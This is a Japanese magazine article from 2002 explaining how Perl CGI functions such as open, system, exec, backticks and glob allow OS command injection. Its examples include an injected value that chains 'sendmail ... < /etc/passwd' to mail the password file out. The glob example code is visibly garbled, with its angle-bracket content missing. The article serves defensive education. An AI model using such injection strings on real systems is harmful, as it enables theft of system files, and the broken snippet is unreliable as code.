【Webアプリケーションのセキュリティ　７】〜 cgiのセキュリティホール〜

　前回Perlを用いたcgiプログラミングについて、セキュリティホールとなる実装ミスについて実例をあげて、その危険性と、セキュリティホールとならないよう必要なコーディングについて説明した。今回はcgiのどのような部分が、外部からのOSコマンド実行を許してしまう脆

特集特集

2002.10.24 Thu 12:00

　前回Perlを用いたcgiプログラミングについて、セキュリティホールとなる実装ミスについて実例をあげて、その危険性と、セキュリティホールとならないよう必要なコーディングについて説明した。今回はcgiのどのような部分が、外部からのOSコマンド実行を許してしまう脆弱点となるかについて解説する。

　Perlによるcgiプログラミングについては前回既に述べているが、危険な関数についてもう一度整理してみると次のようなものがある[1]。

　外部からの任意のコマンド入力を許してしまう脆弱点となりやすい典型的な関数はopen 文である。open 関数は、ヌル文字やパイプ文字で汚染された文字列の入力に対する脆弱性を塞がなければならない。またopenされるべきファイルとして指定可能な範囲に注意しなければならない。../ といったディレクトリトラバーサルが可能な場合には、機密にすべき重要ファイルをOpenされてしまうことがある。open 関数の代わりにsysopen 関数を使った場合には、このような実装ミスの危険はなくなる。

　open関数と同様に外部からのOSコマンドインジェクションの危険性がある関数にはsystem関数、exec関数がある。また `` によるbackticks構文も同様の危険性がある。例えば

　system("date | sendmail $mailaddr");

と実装された、dateコマンドの出力結果を入力されたメールアドレスにメールするというプログラムに対して、$mailaddrに foo@bar.com; sendmail foo@bar.com < /etc/passwd という内容を代入されてしまった場合、

　system("date | sendmail foo@bar.com; sendmail foo@bar.com < /etc/passwd");

となり、パスワードファイル /etc/passwd/ を指定されたアドレスに送信させられてしまう。

　glob 関数は内部的にシェル関数を呼び出しているためにOSコマンドインジェクションの危険性がある。また<>によるfileglob構文は内部的に glob 関数を呼び出して用いているため、同様の危険性がある。例えば、

　@files = ;

という、/usr/include ディレクトリ下について指定されたファイル検索をするプログラムに対して、net*.h; sendmail foo@bar.com < /etc/passwd という文字列を検索ワードとして代入されてしまった場合、

　@files = foo@bar.com < /etc/passwd>;

となって、やはり/etc/passwd/ を指定されたアドレスに送信させられてしまう。

office
office@ukky.net
http://www.office.ac/

[1] http://www.ipa.go.jp/security/awareness/vendor/programming/a04_01.html

（詳しくはScan本誌をご覧ください）
http://shop.vagabond.co.jp/m-ssw01.shtml